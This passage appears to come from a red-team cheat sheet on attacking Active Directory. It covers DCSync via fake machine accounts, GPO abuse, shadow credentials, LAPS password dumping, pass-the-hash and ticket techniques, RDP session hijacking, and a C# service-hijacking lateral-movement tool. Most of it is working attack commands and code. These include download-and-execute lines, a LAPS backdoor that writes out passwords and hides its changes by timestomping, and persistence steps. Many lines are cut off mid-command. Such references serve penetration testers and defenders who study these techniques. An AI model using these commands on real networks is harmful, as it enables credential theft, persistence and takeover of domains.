PS > $acl.AreAccessRulesProtected
True # procced if True
PS > $acl.SetAccessRuleProtection($isProtected, $PreserveInheritance)
PS > $inherited = $acl.AreAccessRulesProtected
PS > $user.commitchanges()
PS > $acl.AreAccessRulesProtected
False
SERVER_TRUST_ACCOUNT

https://stealthbits.com/blog/server-untrust-account/

When DA is owned (or any other account with DS-Install-Replica permission), you can create a fake
machine account (or use an existing real machine account), set SERVER_TRUST_ACCOUNT bit for it and
perform DCSync on behalf of this account to regain domain dominance.

1. Create a fake machine account:

PM > New-MachineAccount -MachineAccount FakeMachine -Password $(ConvertTo-SecureString 'Passw0


PV3 > Get-DomainComputer FakeMachine | select name,primarygroupid,useraccountcontrol

name primarygroupid useraccountcontrol


---- -------------- ------------------
FakeMachine 515 WORKSTATION_TRUST_ACCOUNT

2. Set the SERVER_TRUST_ACCOUNT bit:

PV3 > Set-DomainObject FakeMachine -Set @{useraccountcontrol=8192}


PV3 > Get-DomainComputer FakeMachine | select name,primarygroupid,useraccountcontrol

name primarygroupid useraccountcontrol


---- -------------- ------------------
FakeMachine 516 SERVER_TRUST_ACCOUNT

3. Perform DCSync:

$ secretsdump.py MEGACORP/'FakeMachine$:Passw0rd!'@DC01.megacorp.local -dc-ip 192.168.1.11 -ju

4. Cleanup:

PV3 > Set-DomainObject FakeMachine -Set @{useraccountcontrol=4096}


Or
PM > Remove-MachineAccount -MachineAccount FakeMachine

KRBTGT Constrained Delegation

https://skyblue.team/posts/delegate-krbtgt/
Windows

# create a new service account (or abuse an existing one)


PM > New-MachineAccount -Domain megacorp.local -DomainController DC01.megacorp.loca
# set UAC to be 'WORKSTATION_TRUST_ACCOUNT | TRUSTED_TO_AUTH_FOR_DELEGATION'
PV3 > Set-DomainObject "CN=FakeMachine,CN=Computers,DC=megacorp,DC=local" -Set @{us
# set the krbtgt SPN for delegation
PV3 > Set-DomainObject "CN=FakeMachine,CN=Computers,DC=megacorp,DC=local" -Set @{"m
# request TGS via S4U (will act as a TGT of the impersonated user)
PS > .\Rubeus.exe s4u /domain:megacorp.net /user:FakeMachine$ /rc4:b2bdbe60565b677d
# cleanup: remove the SPN for delegation
PV3 > Set-DomainObject "CN=FakeMachine,CN=Computers,DC=megacorp,DC=local" -Clear ms
# cleanup: back to UAC 'WORKSTATION_TRUST_ACCOUNT'
PV3 > Set-DomainObject "CN=FakeMachine,CN=Computers,DC=megacorp,DC=local" -Set @{us

Linux

https://gist.github.com/snovvcrash/c8f8fa7721c40f4cca0c46c196066a41

# create a new service account (or abuse an existing one)


$ addcomputer.py -computer-name Persist1 -computer-pass 'Passw0rd1!' -dc-ip 192.168
# set UAC to be' WORKSTATION_TRUST_ACCOUNT | TRUSTED_TO_AUTH_FOR_DELEGATION' and se
$ python3 setCD.py megacorp.local/administrator:'Passw0rd3!' -dc-ip 192.168.1.11 -t
# request TGS via S4U (will act as a TGT of the impersonated user)
$ getST.py -spn krbtgt/MEGACORP megacorp.local/'Persist1$:Passw0rd1!' -dc-ip 192.16
# fire DCSync
$ KRB5CCNAME=`pwd`/'DC01$.ccache' secretsdump.py DC01.megacorp.local -dc-ip 192.168

GPO Abuse
Group Policy Objects

https://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
https://wald0.com/?p=179
https://github.com/EvotecIT/GPOZaurr

Force GPO update on all domain computers:

PS > Get-ADComputer -Filter * | % {Invoke-GPUpdate -Computer $_.name -Force -RandomDelayInMinu


Hunt for GPOs

List all GPOs in the domain:

PS > .\SharpView.exe Get-DomainGPO -Properties displayName

List GPOs applied to a specifiec domain user or computer:

PS > .\SharpView.exe Get-DomainGPO -UserIdentity snovvcrash -Properties DisplayName


PS > .\SharpView.exe Get-DomainGPO -ComputerIdentity WS01 -Properties DisplayName
Or
Cmd > gpresult /r /user snovvcrash [/h gpos-snovvcrash.html]
Cmd > gpresult /r /s WS01 [/h gpos-ws01.html]

Search for writable GPOs for the Domain Users security group:

PV3 > Get-DomainGPO | Get-ObjectAcl | ? {$_.SecurityIdentifier -eq ((Get-DomainGroup "Domain U


PV3 > Get-DomainGPO '{<GPO_GUID>}'
Or
PS > Get-GPO -Guid <GPO_GUID>

Permissions Abuse

Recon

Show all GPOs in the domain:

PV3 > Get-NetGPO -Domain megacorp.local | select cn,displayname

Search for GPOs that are controlled by the MEGACORP\PolicyAdmins group:

PV3 > Get-NetGPO | % {Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq

List computers that are affected by vulnerable (modifiable) GPO:

PV3 > Get-NetOU -GUID "00ff00ff-00ff-00ff-00ff-00ff00ff00ff" | % {Get-NetComputer -ADsPath $_}

Note: if I list all OUs affected by this GPO with PowerView, there will be no domain shown (like in
BloodHound), but in Group Policy Manager we can see that it is presented.
Check if computer settings are enabled for this GPO (and enable them if not):

https://gist.github.com/snovvcrash/ecdc639b061fe787617d8d92d8549801

PS > Get-Gpo VULN.GPO.NAME


PS > Set-GpoStatus VULN.GPO.NAME -Status AllSettingsEnabled

List users that can create a GPO and link it to a specific OU:

PV3 > Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=megacorp,DC=local" -ResolveGUI


PV3 > Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "GP-Link" -a

GPOImmediateTask

PowerView3.ps1 (New-GPOImmediateTask)

Create a task with a PowerShell payload:

$ echo 'sc -path "c:\\windows\\temp\\poc.txt" -value "GPO Abuse PoC..."' | iconv -t UTF-16LE
cwBjACAALQBwAGEAdABoACAAIgBjADoAXAB3AGkAbgBkAG8AdwBzAFwAdABlAG0AcABcAHAAbwBjAC4AdAB4AHQAIgAgAC
PS > New-GPOImmediateTask -TaskName Pentest -GPODisplayName VULN.GPO.NAME -CommandArguments '-

Cleanup:

PS > New-GPOImmediateTask -GPODisplayName VULN.GPO.NAME -Remove -Force

Check when GP was last applied:

Cmd > GPRESULT /R

GPPrefRegistryValue

Check if GPMC is installed and if it's not, install it as a Windows Feature (requires elevation):

PS > Get-Module -List -Name GroupPolicy | select -expand ExportedCommands


PS > Install-WindowsFeature –Name GPMC

Create an evil GPO and link it to the target OU (will be visible in the management console):

PS > New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=megacorp,DC=local"

Locate a writable network share:


PV3 > Find DomainShare CheckShareAccess

Prepare your payload, put it to the network share and create an autorun value in the evil GPO to run the
payload on boot/logon:

PS > Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Soft

WMI Filters

https://rastamouse.me/ous-and-gpos-and-wmi-filters-oh-my/

Tools

SharpGPOAbuse

https://github.com/FSecureLABS/SharpGPOAbuse

pyGPOAbuse

https://github.com/Hackndo/pyGPOAbuse

Kerberos

https://www.roguelynn.com/words/explain-like-im-5-kerberos/
https://vbscrub.com/2020/05/13/kerberos-protocol-explained/
https://www.tarlogic.com/en/blog/how-kerberos-works/
https://www.tarlogic.com/en/blog/how-to-attack-kerberos/

https://www.tarlogic.com/en/blog/kerberos-iii-how-does-delegation-work/
https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a
https://habr.com/ru/company/tomhunter/blog/507140/
https://habr.com/ru/company/tomhunter/blog/509290/

Керберос. Использования аутентификационных протоколов Windows в тестиров…


тестиров…
Synchronize Time
Using ntpdate :

$ sudo apt install ntpdate -y


$ sudo ntpdate <DC_IP>

Using faketime :

$ sudo apt install faketime -y


$ faketime '1970-01-01 00:00:00' /bin/date

Kerberos on Linux
Check KRB5CCNAME environment variable contents:

$ env | grep KRB5

Request TGT supplying password:

$ kinit
$ klist

List available SPNs:

$ ldapsearch -Y GSSAPI -H ldap://dc1.megacorp.local -D "[email protected]" -W -b "d


Request TGS for MSSQL service:

$ kvno MSSQLSvc/SRV01.megacorp.local:1433

$ klist

Re-using keytab files to load and renew a TGT:

$ kinit [email protected] -k -t /tmp/administrator.keytab


$ klist
$ kinit -R

Re-using ccache files:

$ sudo chown snovvcrash:snovvcrash /tmp/krb5cc_31337


$ kdestroy
$ export KRB5CCACHE=/tmp/krb5cc_31337
$ klist

FreeIPA

A blog series by @n0pe_sled on attacking FreeIPA:

Building a FreeIPA Lab


Attacking FreeIPA — Part I Authentication
Attacking FreeIPA — Part II Enumeration

Attacking FreeIPA — Part III: Finding A Path

Attacking FreeIPA — Part IV: CVE-2020–10747

Kerberos Relay

https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html
https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html

mitm6 + Kerberos DNS Relay + AD CS ESC8

https://dirkjanm.io/relaying-kerberos-over-dns-with-krbrelayx-and-mitm6/
Tools

KrbRelay

https://github.com/cube0x0/KrbRelay

https://gist.github.com/tothi/bf6c59d6de5d0c9710f23dae5750c4b9

https://icyguider.github.io/2022/05/19/NoFix-LPE-Using-KrbRelay-With-Shadow-Credentials.html

KrbRelayUp

https://github.com/Dec0ne/KrbRelayUp
https://www.microsoft.com/security/blog/2022/05/25/detecting-and-preventing-privilege-escalation-
attacks-leveraging-kerberos-relaying-krbrelayup/

RELAY

Relay authentication to LDAP(S) with automatic machine creation and configure RBCD:

PS > .\KrbRelayUp.exe RELAY [-d|--Domain megacorp.local] [-dc|--DomainController DC01.megacorp

Perform RBCD with UPNs:

PS > .\KrbRelayUp.exe RELAY -u2u -cn j.doe -cp Passw0rd!

RBCD with UPNs

SPAWN

Execute a command as NT AUTHORITY\SYSTEM via RBCD abuse:

PS > .\KrbRelayUp.exe SPAWN [-m|--Method RBCD] [-i|--Impersonate administrator] [-s|ServiceNam

As @ShitSecure mentioned, executing the binary as a .NET Reflective Assembly from


PowerShell will fail because the PowerShell process will have already initialized the security
parameters for COM itself after having been launched, so CoInitializeSecurity will not
contain those new parameters attempted to set by KrbRelay(Up).
Key Credentials Abuse
"...if you can write to the msDS-KeyCredentialLink property of a user, you can retrieve the NT hash of that
user." (Elad Shamir, ref)

That makes GenericWrite on a user effectively equal to DCSync right on that user.

DSInternals

https://github.com/MichaelGrafnetter/DSInternals/blob/master/Documentation/PowerShell/Get-
ADKeyCredential.md

Whisker

https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-
8ee1a53566ab
https://github.com/eladshamir/Whisker

List all the values of the the msDS-KeyCredentialLink attribute of a target object:

Cmd > .\Whisker.exe list /target:ws01$ /domain:megacorp.local /dc:DC1.megacorp.local

Add a new value to the msDS-KeyCredentialLink attribute of a target object:

Cmd > .\Whisker.exe add /target:ws01$ /domain:megacorp.local /dc:DC1.megacorp.local /path:C:\T

Remove a value from the msDS-KeyCredentialLink attribute of a target object:

Cmd > .\Whisker.exe remove /target:ws01$ /domain:megacorp.local /dc:DC1.megacorp.local /remove

Clear all the values of the the msDS-KeyCredentialLink attribute of a target object:

Cmd > .\Whisker.exe clear /target:ws01$ /domain:megacorp.local /dc:DC1.megacorp.local

pywhisker
https://github.com/ShutdownRepo/pywhisker

$ python3 pywhisker.py -d megacorp.local -u svc_mssql -p 'Passw0rd!' --target sqltest --action

$ python3 pywhisker.py -d megacorp.local -u svc_mssql -p 'Passw0rd!' --target sqltest --action


$ python3 pywhisker.py -d megacorp.local -u svc_mssql -p 'Passw0rd!' --target sqltest --action
$ python3 pywhisker.py -d megacorp.local -u svc_mssql -p 'Passw0rd!' --target sqltest --action
$ python3 gettgtpkinit.py megacorp.local/sqltest -cert-pfx ~/tools/pywhisker/sqltest_cert.pfx
$ KRB5CCNAME=sqltest.ccache python3 getnthash.py megacorp.local/sqltest -key 00ff00ff00ff00ff0

LAPS
Local Administrator Password Solution

https://adsecurity.org/?p=1790

Enabled?
Check locally:

PS > gc "c:\program files\LAPS\CSE\Admpwd.dll"


PS > Get-FileHash "c:\program files\LAPS\CSE\Admpwd.dll"
PS > Get-AuthenticodeSignature "c:\program files\LAPS\CSE\Admpwd.dll"

Check in LDAP:

PV3 > Get-DomainObject "CN=ms-Mcs-AdmPwd,CN=Schema,CN=Configuration,DC=megacorp,DC=local"


PV3 > Get-DomainObject "CN=ms-Mcs-AdmPwdExpirationTime,CN=Schema,CN=Configuration,DC=megacorp

Get Passwords

PowerShell

ActiveDirectory

Query LDAP for AD computer objects with their passwords and its expiration date:

PS > $laps = Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime -S


PS > $laps | select -First 10
Check the name of enabled local administrators on a remote machine:

PS > Get-CimInstance -ComputerName SRV01 -ClassName Win32_Group -Filter "Name='Administrators

Change LAPS password (just zero the expiration time attribute):

PS > Get-ADComputer PC01 -Properties ms-MCS-AdmPwdExpirationTime| % {Set-ADComputer -Identity

Get-LAPSPasswords

https://www.netspi.com/blog/technical/network-penetration-testing/running-laps-around-cleartext-
passwords/

https://github.com/kfosaaen/Get-LAPSPasswords

PS > $cred = New-Object System.Management.Automation.PSCredential('snovvcrash', $(ConvertTo-Se


PS > Get-LAPSPasswords -DomainController 10.10.13.37 -Credential $cred | fl

LAPSToolkit

https://www.pentestgeek.com/penetration-testing/another-lap-around-microsoft-laps
https://github.com/leoloobeek/LAPSToolkit

Enumerate LAPS groups and permissions:

PS > $lapsGroups = Find-LAPSDelegatedGroups


PS > $lapsRights = Find-AdmPwdExtendedRights

Get passwords:

PS > Get-LAPSComputers

CrackMapExec

https://github.com/T3KX/Crackmapexec-LAPS
https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/modules/laps.py

$ cme ldap <DC_IP> -u snovvcrash -p 'Passw0rd!' -M laps

LAPSDumper
https://github.com/n00py/LAPSDumper

$ python laps.py -d megacorp.local -u snovvcrash -p 'Passw0rd!'

$ python laps.py -d megacorp.local -l DC01.megacorp.local -u snovvcrash -p aad3b435b51404eeaad

Persistence
Increase the expiration time of a compromised computer object's ms-mcs-admpwdexpirationtime
property value:

PV3 > Get-DomainObject -Identity SRV01 -Properties ms-mcs-admpwdexpirationtime


PV3 > Set-DomainObject -Identity SRV01 -Set @{"ms-mcs-admpwdexpirationtime"="<EPOCH>"}

Backdoor
Recompile admpwd having added some evil code here:

PasswordInfo pi = DirectoryUtils.GetPasswordInfo(dn);
var line = $"{pi.ComputerName} : {pi.Password}";
System.IO.File.AppendAllText(@"C:\Temp\LAPS.txt", line);
WriteObject(pi);

Replace the original AdmPwd.PS.dll assembly with a newly generated one and fix the timestamp:

beacon> cd C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS
beacon> upload AdmPwd.PS.dll
beacon> timestomp AdmPwd.PS.dll AdmPwd.PS.psd1
beacon> ls

Lateral Movement

https://eventlogxp.com/blog/logon-type-what-does-it-mean/
https://www.infosecmatter.com/rce-on-windows-from-linux-part-1-impacket/
https://www.hackingarticles.in/remote-code-execution-using-impacket/

https://xakep.ru/2020/11/16/lateral-guide/
https://docs.microsoft.com/en-us/defender-for-identity/playbook-lateral-movement
https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-
them
https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-
logon-types

Overpass-the-Hash

Mimikatz

https://github.com/GhostPack/Rubeus#example-over-pass-the-hash

https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/

Create a new process with dummy creds (Logon type 9), open the LSASS process and patch it with the
supplied NT hash. This causes the normal Kerberos authentication process to kick off as normal as if the
user had normally logged on, turning the supplied hash into a fully-fledged TGT:

Cmd > .\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::pth /user:snovvcrash /doma

It also work for local accounts but for the reason that patching LSASS does not change the
security information or user information for this process, the new credentials in LSASS can
correctly be used only for network authentication and not for identifying the local user account
associated with the process. (paraphrased from here)

That's why for local accounts such options as net use \\localhost\c$ , WMI calls or
PsExec can be considered.

Rubeus

https://github.com/GhostPack/Rubeus
https://github.com/GhostPack/Rubeus#example-over-pass-the-hash

Create a sacrificial process (Logon type 9), legitimately ask Kerberos for TGT, import it and interact with the
process (need elevated context):

Cmd > .\Rubeus.exe asktgt /domain:megacorp.local /dc:dc1 /user:snovvcrash /password:Passw0rd!


Cmd > .\Rubeus.exe asktgt /domain:megacorp.local /dc:dc1 /user:snovvcrash /rc4:fc525c9683e8fe0

If operating Rubeus from a C2 agent, you can steal_token instead of using /show option.
Create a new process with dummy creds (Logon type 9) manually, then use Rubeus with user's NT hash to
ask for a TGT and import it:

Cmd > runas /netonly /user:megacorp.local\snovvcrash cmd


Enter the password for megacorp.local\snovvcrash: dummy_Passw0rd!
Cmd > .\Rubeus.exe asktgt /domain:megacorp.local /dc:dc1 /user:snovvcrash /rc4:fc525c9683e8fe0

A more opsec safe approach is to use AES key (KeyType 0x12) instead of RC4-HMAC (KeyType 0x17)
alongside with /opsec switch which instructs Rubeus not to do pre-auth (mimics standard Kerberos
behavior):

Cmd > .\Rubeus.exe asktgt /domain:megacorp.local /dc:dc1 /user:snovvcrash /aes256:94b4d075fd15

Pass-the-Hash

https://www.n00py.io/2020/12/alternative-ways-to-pass-the-hash-pth/

NamedPipePTH

https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/
https://github.com/S3cur3Th1sSh1t/NamedPipePTH
https://github.com/S3cur3Th1sSh1t/SharpNamedPipePTH

Impersonate a user with Pass-the-Hash for local actions (network authentication does not work with
Impersonation Token , only with Delegation Token ):

PS > Invoke-ImpersonateUser-PTH -Username snovvcrash -Hash fc525c9683e8fe067095ba2ddc971889 -T


PS > Invoke-SharpNamedPipePTH -C "domain:megacorp.local username:snovvcrash hash:fc525c9683e8f

Can be used for authenticating in SQL Server management tools ( %PROGRAMFILES(X86)%\Microsoft


SQL Server Management Studio 18\Common7\IDE\Ssms.exe ) and accessing DBs with SQL
admin hash, for example.

PtH Notes

https://offensivedefence.co.uk/posts/ntlm-auth-firefox/

User Account Control


https://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/

LocalAccountTokenFilterPolicy & FilterAdministratorToken

Property Name Property Path

HKLM\SOFTWARE\Microsoft\Windows\Cur
LocalAccountTokenFilterPolicy
rentVersion\Policies\System\

HKLM\SOFTWARE\Microsoft\Windows\Cur
FilterAdministratorToken
rentVersion\Policies\System\

If LocalAccountTokenFilterPolicy exists and is set to 1 (doesn't exist by default), remote


connections from all local admins are not affected by UAC and PtH will succeed:

PS > Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\" -Name

If FilterAdministratorToken exists and is set to 1 (doesn't exist by default), builtin local admin
account (RID 500) is affected by UAC and PtH will fail:

PS > Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ -Name F

Pass-the-Ticket

Rubeus
Show Kerberos tickets in all logon sessions if elevated (otherwise it will only show tickets in current logon
session):

PS > .\Rubeus.exe triage

Extract the tickets from memory:

PS > .\Rubeus.exe dump [/service:krbtgt] [/luid:0x1337] /nowrap

Create a sacrificial process (Logon type 9) and import the TGT into its logon session:

PS > .\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /show


PS > .\Rubeus.exe ptt /luid:0x1337 /ticket:<BASE64_TICKET>
If operating Rubeus from a C2 agent, you can steal_token instead of using /show option.

You can also extract and reuse TGS tickets with this technique.

RDP

https://syfuhs.net/how-authentication-works-when-you-use-remote-desktop

https://posts.specterops.io/revisiting-remote-desktop-lateral-movement-8fb905cb46c3

Enable RDP
From meterpreter:

meterpreter > run getgui -e

From PowerShell:

PS > Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fD


PS > Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
PS > Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStation

Restricted Admin

https://www.kali.org/penetration-testing/passing-hash-remote-desktop/
https://blog.ahasayen.com/restricted-admin-mode-for-rdp/
https://labs.f-secure.com/blog/undisable/
https://shellz.club/pass-the-hash-with-rdp-in-2019/

RDP with PtH: RDP needs a plaintext password unless Restricted Admin mode is enabled.

Enable with PowerShell:

PS > Get-ChildItem -Recurse HKLM:\System\CurrentControlSet\Control\Lsa

PS > Get-Item HKLM:\System\CurrentControlSet\Control\Lsa


PS > New-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\Lsa -Name "DisableRestricte
PS > Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa -Name "DisableRestrictedAdmin

Enable with CME:

$ cme smb 192.168.1.11 -u Administrator -H fc525c9683e8fe067095ba2ddc971889 -x 'reg add HKLM\S

Use:

$ xfreerdp /pth
Cmd > mstsc.exe /restrictedAdmin

Smart Card Authentication


Disable enforced smart card authentication during interactive logon:

PS > Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\policies\System"


PS > Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\policies\System"

NLA
Disable NLA:

PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -Co


PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -Co

Hijack RDP Sessions

https://www.ired.team/offensive-security/lateral-movement/t1076-rdp-hijacking-for-lateral-movement
https://qtechbabble.wordpress.com/2017/04/07/use-quser-to-view-which-accounts-are-logged-
inremoted-in-to-a-computer/

Run Task manager as LocalSystem to hijack other users' sessions:

PS > .\PsExec64.exe -si C:\Windows\System32\Taskmgr.exe -accepteula

The same can be achieved with tscon.exe :


PS
PS >
> .\PsExec64.exe
-s \\localhost cmd
quser.exe
PS > cmd /k tscon.exe <ID> /dest:<CURRENT_SESSIONNAME>

Tools

https://github.com/SecureAuthCorp/impacket/blob/master/examples/tstool.py

https://github.com/netero1010/RDPHijack-BOF

Tools

SharpRDP

https://github.com/0xthirteen/SharpRDP
https://github.com/S3cur3Th1sSh1t/SharpRDP

Cmd > .\SharpRDP.exe computername=srv01 command="iex(new-object net.webclient).downloadstring

SharpRDPHijack

https://github.com/bohops/SharpRDPHijack

RPC

https://sensepost.com/blog/2021/building-an-offensive-rpc-interface/

SCM

https://github.com/Mr-Un1k0d3r/SCShell
https://github.com/juliourena/SharpNoPSExec
https://github.com/chvancooten/OSEP-Code-
Snippets/blob/main/Fileless%20Lateral%20Movement/Program.cs

Using Python implementation and PtH:

$ python scshell.py MEGACORP/[email protected] -hashes :fc525c9683e8fe067095ba2ddc971889


SCShell>C:\windows\system32\cmd.exe /c powershell.exe -nop -w hidden -c iex(new-object net.web

Custom PoC:

SharpSCExec.cs
using System;
using System.Runtime.InteropServices;

namespace SharpSCExec
{
class Program
{
[DllImport("advapi32.dll", SetLastError = true, BestFitMapping = false, ThrowOnUnmappa
[return: MarshalAs(UnmanagedType.Bool)]
internal static extern bool LogonUser([MarshalAs(UnmanagedType.LPStr)] string lpszUser

[DllImport("advapi32.dll", SetLastError = true)]


static extern bool ImpersonateLoggedOnUser(IntPtr hToken);

[DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSe


public static extern IntPtr OpenSCManager(string machineName, string databaseName, uin

[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]


static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesir

[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]


public static extern Boolean QueryServiceConfig(IntPtr hService, IntPtr intPtrQueryCon

[DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]


[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, in

[DllImport("advapi32", SetLastError = true)]


[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[]

[DllImport("kernel32.dll")]
public static extern uint GetLastError();

[StructLayout(LayoutKind.Sequential)]
public class QueryServiceConfigStruct
{
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]
public UInt32 dwServiceType;
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]
public UInt32 dwStartType;
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]
public UInt32 dwErrorControl;
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
public String lpBinaryPathName;
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
public String lpLoadOrderGroup;
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]
public UInt32 dwTagID;
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
public String lpDependencies;
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
public String lpServiceStartName;
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
public String lpDisplayName;
};

static void Main(string[] args)


{
string target = args[0];
string svcName = args[1]; // Potential candidates are: XblAuthManager, SensorServi
string payload = args[2];

if (args.Length < 3)
{
Console.WriteLine("Usage: SharpSCExec.exe <TARGET> <SERVICE> <PAYLOAD>");
Console.WriteLine("Example: SharpSCExec.exe SRV01 SensorService \"cmd.exe /c p
return;
}

if (args.Length > 3)
{
string domain = args[3];
string username = args[4];
string password = args[5];
IntPtr hToken = IntPtr.Zero;
if (!LogonUser(username, domain, password, 0x9, 0, out hToken))
{
Console.WriteLine($"[-] LogonUser failed: {GetLastError()}");
Environment.Exit(0);
}
if (!ImpersonateLoggedOnUser(hToken))
{
Console.WriteLine($"[-] ImpersonateLoggedOnUser failed: {GetLastError()}")
Environment.Exit(0);
}
}

IntPtr SCMHandle = OpenSCManager(


target,
null,
0xF003F); // SC_MANAGER_ALL_ACCESS

IntPtr hService = OpenService(


SCMHandle,
svcName,
0xF01FF); // SERVICE_ALL_ACCESS

UInt32 bytesNeeded;
bool res = QueryServiceConfig(hService, IntPtr.Zero, 0, out bytesNeeded);
IntPtr ptr = Marshal.AllocHGlobal((int)bytesNeeded);
res = QueryServiceConfig(hService, ptr, bytesNeeded, out bytesNeeded);
QueryServiceConfigStruct qsc = new QueryServiceConfigStruct();
Marshal.PtrToStructure(ptr, qsc);
string origBinaryPath = qsc.lpBinaryPathName;
Console.WriteLine($"[*] Extracted original service binary: \"{origBinaryPath}\"")

res = ChangeServiceConfigA(
hService,
0xffffffff, // SERVICE_NO_CHANGE
0x3, // SERVICE_DEMAND_START
0, // SERVICE_NO_CHANGE
payload,
null,
null,
null,
null,
null,
null);

if (res)
{
Console.WriteLine("[+] Service binary changed successfully!");
}
else
{
Console.WriteLine($"[-] Failed changing service binary: {GetLastError()}");
}

res = StartService(hService, 0, null);


Console.WriteLine($"[*] StartService terminated with return code {res} and error {

res = ChangeServiceConfigA(
hService,
0xffffffff, // SERVICE_NO_CHANGE
0x3, // SERVICE_DEMAND_START
